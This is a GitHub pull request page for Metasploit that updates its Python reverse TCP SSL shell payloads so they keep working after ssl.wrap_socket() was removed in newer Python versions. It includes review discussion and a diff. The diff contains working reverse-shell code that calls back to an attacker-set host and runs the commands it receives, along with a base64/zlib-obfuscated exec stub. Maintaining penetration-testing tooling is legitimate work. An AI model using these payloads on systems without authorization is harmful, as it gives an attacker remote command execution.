Fix ssl wrap socket python314 by VISHVAJITH-REDDY · Pull Request #21302 · rapid7/metasploit-framework

VISHVAJITH-REDDY · 2026-04-14T20:42:24Z

ssl.wrap_socket() was removed in Python 3.12 (deprecated since 3.7), causing an
AttributeError on Python 3.12+ including 3.14.

Replaces it with SSLContext.wrap_socket() using a getattr fallback chain that
works across Python 2.7.9 through 3.14+ without deprecation warnings.

Files changed

modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
modules/payloads/singles/python/shell_reverse_tcp_ssl.rb

Verification

Start msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_python_ssl
set LHOST <your IP>
set LPORT 4444
run
On target: run the generated command with Python 3.14
Verify a shell session opens (previously crashed with AttributeError)
Repeat with payload python/shell_reverse_tcp_ssl
Verify same fix works on Python 2.7 / 3.4+ targets too

Updated SSL handling in reverse TCP shell payload to use SSLContext for compatibility with newer Python versions.

jeanmtr · 2026-04-15T10:48:37Z

python/meterpreter/reverse_tcp_ssl is also affected.

VISHVAJITH-REDDY · 2026-04-21T15:43:17Z

I've also fixed lib/msf/core/payload/python/reverse_tcp_ssl.rb in my fork
but I see @jeanmtr has opened #21303 with a broader fix. Happy to defer to
that PR or add the mixin fix to this one if preferred.

bwatters-r7 · 2026-04-30T13:52:59Z

    cmd += "\ts.send(stdout_value)\n"
+
    if datastore['PythonPath'].blank?
-      return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -"


Is there a reason to add this as a literal rather than using py_create_exec?

bwatters-r7 · 2026-04-30T13:57:31Z

+      \tso.sendall(o)
    PYTHON
-
-    py_create_exec_stub(cmd)


Is this not necessary?

bwatters-r7 · 2026-04-30T13:59:49Z

+    # Use SSLContext.wrap_socket() instead, which is available from Python 2.7.9+
+    # and 3.2+. We fall back through PROTOCOL_TLS_CLIENT (3.6+) -> PROTOCOL_TLS
+    # (3.2-3.9) -> PROTOCOL_SSLv23 (2.7.9+) to cover all supported versions.
+    cmd += "ss=ssl.SSLContext(getattr(ssl,'PROTOCOL_TLS_CLIENT',getattr(ssl,'PROTOCOL_TLS',ssl.PROTOCOL_SSLv23)))\n"


Does this work on a subset of versions that the old way did? Are we losing support for versions 2.5?

Copilot

Pull request overview

Updates the Python reverse TCP SSL command payloads to avoid ssl.wrap_socket() (removed in Python 3.12+) by switching to SSLContext.wrap_socket() with protocol-constant fallbacks intended to preserve broad Python version compatibility.

Changes:

Replace ssl.wrap_socket() usage with SSLContext.wrap_socket() in both the cmd/unix and python reverse SSL payloads.
Add explicit check_hostname=False and verify_mode=CERT_NONE to support Metasploit’s self-signed listener certificates.
Refactor some module metadata/formatting and adjust how the cmd/unix payload constructs its exec stub.

Impact Analysis:

Blast radius: high; affects users generating/using cmd/unix/reverse_python_ssl and python/shell_reverse_tcp_ssl payloads across many exploits/handlers.
Data and contract effects: payload output/encoding expectations change (notably for the python/ payload’s generated content); compatibility risk if payload embedding expects a one-line exec stub.
Rollback and test focus: rollback is straightforward (revert to prior payload strings); validate python/shell_reverse_tcp_ssl generation/embedding and end-to-end handler connection on Python 2.7.9+, 3.4+, and 3.12+.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.

File	Description
modules/payloads/singles/python/shell_reverse_tcp_ssl.rb	Switches SSL wrapping to `SSLContext.wrap_socket()` but currently alters payload output format.
modules/payloads/singles/cmd/unix/reverse_python_ssl.rb	Switches SSL wrapping to `SSLContext.wrap_socket()` and rewrites the shell-embedded Python exec stub generation.

+    <<~PYTHON
      import socket as s
      import subprocess as r
      import ssl
      so=s.socket(s.AF_INET,s.SOCK_STREAM)
      so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
-      so=ssl.wrap_socket(so)
+      ss=ssl.SSLContext(getattr(ssl,'PROTOCOL_TLS_CLIENT',getattr(ssl,'PROTOCOL_TLS',ssl.PROTOCOL_SSLv23)))
+      ss.check_hostname=False
+      ss.verify_mode=ssl.CERT_NONE
+      so=ss.wrap_socket(so)
      while True:
-      	d=so.recv(1024)
-      	if len(d)==0:
-      		break
-      	p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
-      	o=p.stdout.read()+p.stderr.read()
-      	so.sendall(o)
+      \td=so.recv(1024)
+      \tif len(d)==0:
+      \t\tbreak
+      \tp=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
+      \to=p.stdout.read()+p.stderr.read()
+      \tso.sendall(o)
    PYTHON


    if datastore['PythonPath'].blank?
-      return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -"
+      "echo exec(__import__('zlib').decompress(__import__('base64').b64decode(" \
+        "__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))}')[0])))" \
+        " | $(which python || which python3 || which python2) -"
    else
-      return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']}  -"
+      "echo exec(__import__('zlib').decompress(__import__('base64').b64decode(" \
+        "__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))}')[0])))" \
+        " | #{datastore['PythonPath']} -"


VISHVAJITH-REDDY added 2 commits April 15, 2026 02:03

Fix ssl.wrap_socket removed in Python 3.12+

b580372

Refactor SSL handling in shell_reverse_tcp_ssl.rb

9d143b7

Updated SSL handling in reverse TCP shell payload to use SSLContext for compatibility with newer Python versions.

smcintyre-r7 added this to Metasploit Kanban Apr 14, 2026

github-project-automation Bot moved this to Todo in Metasploit Kanban Apr 14, 2026

jeanmtr mentioned this pull request Apr 15, 2026

Fix incompatibility with ssl.wrap_socket() in newer python versions in payloads using it #21303

Open

19 tasks

bwatters-r7 reviewed Apr 30, 2026

View reviewed changes

smcintyre-r7 requested a review from Copilot May 6, 2026 20:27

Copilot started reviewing on behalf of smcintyre-r7 May 6, 2026 20:28 View session

smcintyre-r7 self-assigned this May 6, 2026

Copilot AI reviewed May 6, 2026

View reviewed changes

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Fix ssl wrap socket python314#21302

Fix ssl wrap socket python314#21302
VISHVAJITH-REDDY wants to merge 2 commits intorapid7:masterfrom
VISHVAJITH-REDDY:fix-ssl-wrap-socket-python314

VISHVAJITH-REDDY commented Apr 14, 2026

Uh oh!

jeanmtr commented Apr 15, 2026

Uh oh!

VISHVAJITH-REDDY commented Apr 21, 2026

Uh oh!

bwatters-r7 Apr 30, 2026

Uh oh!

bwatters-r7 Apr 30, 2026

Uh oh!

bwatters-r7 Apr 30, 2026

Uh oh!

Copilot AI left a comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

5 participants

Conversation

VISHVAJITH-REDDY commented Apr 14, 2026

Files changed

Verification

Uh oh!

jeanmtr commented Apr 15, 2026

Uh oh!

VISHVAJITH-REDDY commented Apr 21, 2026

Uh oh!

bwatters-r7 Apr 30, 2026

Choose a reason for hiding this comment

Uh oh!

bwatters-r7 Apr 30, 2026

Choose a reason for hiding this comment

Uh oh!

bwatters-r7 Apr 30, 2026

Choose a reason for hiding this comment

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

5 participants